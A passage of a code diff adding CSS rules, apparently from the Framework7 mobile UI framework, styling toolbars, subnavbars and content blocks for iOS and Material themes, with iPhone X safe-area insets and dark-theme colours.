> .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar-bottom-md .toolbar-inner { + height: auto; + top: 0; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .views > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .view > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .page > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .popup > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .panel > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar-bottom-md.tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md ~ .page-content, +.md.device-iphone-x .messagebar ~ * .page-content, +.md.device-iphone-x .messagebar ~ .page-content { + padding-bottom: calc(48px + constant(safe-area-inset-bottom)); + padding-bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-left .toolbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-right .toolbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { + position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .subnavbar { + height: 45px; + margin-top: -1px; + padding-top: 1px; + background: #f7f7f8; +} +.ios .subnavbar.no-hairline:after { + display: none !important; +} +.ios .subnavbar .title { + font-weight: 700; + line-height: 1; + overflow: visible; + font-size: 34px; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + letter-spacing: -0.03em; +} +.ios .subnavbar .title { + margin-left: 7px; +} +.ios .subnavbar .left a + a, +.ios .subnavbar .right a + a { + margin-left: 15px; +} +.ios .subnavbar .left { + margin-right: 10px; +} +.ios .subnavbar .right { + margin-left: 10px; +} +.ios .subnavbar .right:first-child { + right: 8px; +} +.ios .subnavbar a.link { + line-height: 44px; + height: 44px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .subnavbar a.icon-only { + min-width: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + margin: 0; +} +.ios .subnavbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .subnavbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .subnavbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .subnavbar-inner { + padding: 0 8px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .subnavbar, +.ios .navbar ~ .subnavbar { + top: 44px; +} +.ios .page-with-subnavbar .page-content, +.ios .subnavbar ~ .page-content, +.ios .subnavbar ~ * .page-content { + padding-top: 44px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .page-content, +.ios .page-with-subnavbar .navbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .subnavbar, +.subnavbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .subnavbar:after, +.subnavbar.ios .theme-dark:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .subnavbar { + height: 48px; + background: #2196f3; + color: #fff; +} +.md .subnavbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .subnavbar.no-shadow:after { + display: none; +} +.md .subnavbar .title { + margin: 0 16px; + font-size: 20px; + line-height: 48px; + display: inline-block; + text-align: left; + font-weight: 500; +} +.md .subnavbar .title:first-child { + margin-left: 56px; +} +.md .subnavbar .right { + margin-left: auto; +} +.md .subnavbar .right:first-child { + right: 16px; +} +.md .subnavbar a { + color: inherit; +} +.md .subnavbar a.link { + line-height: 48px; + height: 48px; + min-width: 48px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; +} +.md .subnavbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .subnavbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .subnavbar a.icon-only { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + min-width: 0; +} +.md .subnavbar-inner { + padding: 0 16px; +} +.md .subnavbar-inner > a.link:first-child { + margin-left: -16px; +} +.md .subnavbar-inner > a.link:last-child { + margin-right: -16px; +} +.md .subnavbar ~ * .page-content, +.md .subnavbar ~ .page-content, +.md .page-with-subnavbar .page-content { + padding-top: 48px; +} +.md .navbar ~ .subnavbar ~ .page-content, +.md .navbar ~ .subnavbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar ~ .page-content, + .md .navbar ~ .subnavbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 112px; + } +} +.md .navbar ~ .subnavbar, +.md .navbar ~ * .subnavbar, +.md .page-with-subnavbar .navbar ~ .subnavbar, +.md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar, + .md .navbar ~ * .subnavbar, + .md .page-with-subnavbar .navbar ~ .subnavbar, + .md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 64px; + } +} +.md .color-theme-red .subnavbar, +.md .color-theme-red.subnavbar { + background: #f44336; +} +.md .color-theme-green .subnavbar, +.md .color-theme-green.subnavbar { + background: #4caf50; +} +.md .color-theme-blue .subnavbar, +.md .color-theme-blue.subnavbar { + background: #2196f3; +} +.md .color-theme-pink .subnavbar, +.md .color-theme-pink.subnavbar { + background: #e91e63; +} +.md .color-theme-yellow .subnavbar, +.md .color-theme-yellow.subnavbar { + background: #ffeb3b; +} +.md .color-theme-orange .subnavbar, +.md .color-theme-orange.subnavbar { + background: #ff9800; +} +.md .color-theme-gray .subnavbar, +.md .color-theme-gray.subnavbar { + background: #9e9e9e; +} +.md .color-theme-white .subnavbar, +.md .color-theme-white.subnavbar { + background: #ffffff; +} +.md .color-theme-black .subnavbar, +.md .color-theme-black.subnavbar { + background: #000000; +} +.md .subnavbar.color-red { + background: #f44336; +} +.md .subnavbar.color-green { + background: #4caf50; +} +.md .subnavbar.color-blue { + background: #2196f3; +} +.md .subnavbar.color-pink { + background: #e91e63; +} +.md .subnavbar.color-yellow { + background: #ffeb3b; +} +.md .subnavbar.color-orange { + background: #ff9800; +} +.md .subnavbar.color-gray { + background: #9e9e9e; +} +.md .subnavbar.color-white { + background: #ffffff; +} +.md .subnavbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +/* === Content Block === */ +.ios .block { + margin: 35px 0; + padding: 0 15px; + color: #6d6d72; +} +.ios .block-title { + text-transform: uppercase; + color: #6d6d72; + margin: 35px 15px 10px; + line-height: 17px; +} +.ios .block-title + .list, +.ios .block-title + .block, +.ios .block-title + .card, +.ios .block-title + .timeline, +.ios .block-title + .block-header { + margin-top: 10px; +} +.ios .block-strong { + color: #000; + background: #fff; + padding: 15px 15px; +} +.ios .block-strong:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block-strong:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block.inset { + margin-left: 15px; + margin-right: 15px; +} +.ios .block-strong-inset { + border-radius: 7px; +} +.ios .block-header, +.ios .block-footer { + padding: 0 15px; + color: #8f8f94; +} +.ios .block .block-header, +.ios .block .block-footer { + padding: 0 !important; +} +.ios .block-header { + margin-top: 35px; +} +.ios .block-header + .list, +.ios .block-header + .block, +.ios .block-header + .card, +.ios .block-header + .timeline { + margin-top: 10px; +} +.ios .block-footer { + margin-bottom: 35px; +} +.ios .list .block-header, +.ios .block .block-header, +.ios .card .block-header, +.ios .timeline .block-header { + margin-top: 0; +} +.ios .list .block-footer, +.ios .block .block-footer, +.ios .card .block-footer, +.ios .timeline .block-footer { + margin-bottom: 0; +} +.ios .list + .block-footer, +.ios .block + .block-footer, +.ios .card + .block-footer, +.ios .timeline + .block-footer { + margin-top: -25px; +} +.ios .block + .block-footer { + margin-top: -25px; + margin-bottom: 35px; +} +@media (min-width: 768px) { + .ios .block.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .block-strong.tablet-inset { + border-radius: 7px; + } +} +.ios .theme-dark .block-title, +.ios .theme-dark .block-header, +.ios .theme-dark .block-footer { + color: #8E8E93; +} +.ios .theme-dark .block { + color: #8E8E93; +} +.ios .theme-dark .block-strong, +.ios .theme-dark.block-strong { + background-color: #1c1c1d; + color: #fff; +} +.ios .theme-dark .block-strong:before, +.ios .theme-dark.block-strong:before { + background-color: #282829; +} +.ios .theme-dark .block-strong:after, +.ios .theme-dark.block-strong:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-left .block-header, + .ios.device-iphone-x .ios-left-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-left .block-footer { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-right .block-header, + .ios.device-iphone-x .ios-right-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-right .block-footer { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.md .block { + margin: 32px 0; + padding: 0 16px; +} +.md .block-title { + color: rgba(0, 0, 0, 0.54); + margin: 32px 16px 16px; + line-height: 16px; + font-weight: 500; +} +.md .block-title + .list, +.md .block-title + .block, +.md .block-title + .card, +.md .block-title + .timeline, +.md .block-title + .block-header { + margin-top: 0px; +} +.md .block-strong { + padding: 16px; +} +.md .block-strong:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block-strong:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block.inset { + margin-left: 16px; + margin-right: 16px; +} +.md .block-strong.inset { + border-radius: 4px; +} +.md .block-header, +.md .block-footer { + padding: 0 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .block .block-header, +.md .block .block-footer { + padding: 0; +} +.md .block-header { + margin-top: 32px; +} +.md .block-header + .list, +.md .block-header + .block, +.md .block-header + .card, +.md .block-header + .timeline { + margin-top: 10px; +} +.md .block-footer { + margin-bottom: 32px; +} +.md .list .block-header, +.md .block .block-header, +.md .card .block-header, +.md .timeline .block-header { + margin-top: 0; +} +.md .list .block-footer, +.md .block .block-footer, +.md .card .block-footer, +.md .timeline .block-footer { + margin-bottom: 0; +} +.md .list + .block-footer, +.md .block + .block-footer, +.md .card + .block-footer, +.md .timeline + .block-footer { + margin-top: -22px; +} +.md .block + .block-footer { + margin-top: -22px; + margin-bottom: 32px; +} +@media (min-width: 768px) { + .md .block.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .block-strong.tablet-inset { + border-radius: 4px; + } +} +.md .theme-dark .block-title { + color: #fff; +} +.md .theme-dark .block-header, +.md .theme-dark .block-footer { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-left .block-header, + .md.device-iphone-x .ios-left-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-left .block-footer { + padding-left: calc(16px + 